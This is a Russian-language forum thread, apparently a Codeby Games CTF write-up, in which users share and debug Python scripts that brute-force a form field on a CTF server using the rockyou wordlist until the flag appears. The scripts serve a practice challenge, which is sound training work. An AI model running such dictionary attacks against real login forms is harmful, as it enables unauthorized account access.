• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Writeup Codeby Games CTF - Уцуцуга (WriteUp)

Menschenfresser

Red Team
20.02.2022
411
209
Python:
import requests

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    print(r.text)
    #print(content)
    print(i)
        
f.close()

Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:
Python:
import requests
from bs4 import BeautifulSoup

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    soup = BeautifulSoup(r.text,"lxml")
    #print(r.text)
    content = soup.find('p',id='strong')
    #print(content)
    if str("CODEBY") in str(content):
        print(i)

        
f.close()
 
  • Нравится
Реакции: N1GGA, yetiraki и GoBL1n
Python:
import requests

with open("words", mode="r") as file:
    words = file.read().split()  # Разделить на список слов
    for word in words:
        key = {"word": word}
        r = requests.post("http://62.173.140.174:13000/", data=key)
        if "CODEBY" in r.text:
            print(f'Password: {word}')
            print(f'Flag: {r.text[595:618]}')
            break
 

Вложения

  • words.txt
    words.txt
    6,3 КБ · Просмотры: 332
Python:
import requests

with open("words", mode="r") as file:
    words = file.read().split()  # Разделить на список слов
    for word in words:
        key = {"word": word}
        r = requests.post("http://62.173.140.174:13000/", data=key)
        if "CODEBY" in r.text:
            print(f'Password: {word}')
            print(f'Flag: {r.text[595:618]}')
            break
вот я и нашёл у себя ошибку, спасибо за ответ
 
  • Нравится
Реакции: GoBL1n
Python:
import requests

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    print(r.text)
    #print(content)
    print(i)
     
f.close()

Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:
Python:
import requests
from bs4 import BeautifulSoup

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    soup = BeautifulSoup(r.text,"lxml")
    #print(r.text)
    content = soup.find('p',id='strong')
    #print(content)
    if str("CODEBY") in str(content):
        print(i)

     
f.close()
python3 <script-name.py> | grep "CODEBY", как вариант с использованием утилиты командной строки grep, с поиском по ключевому слову
 
  • Нравится
Реакции: Menschenfresser
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD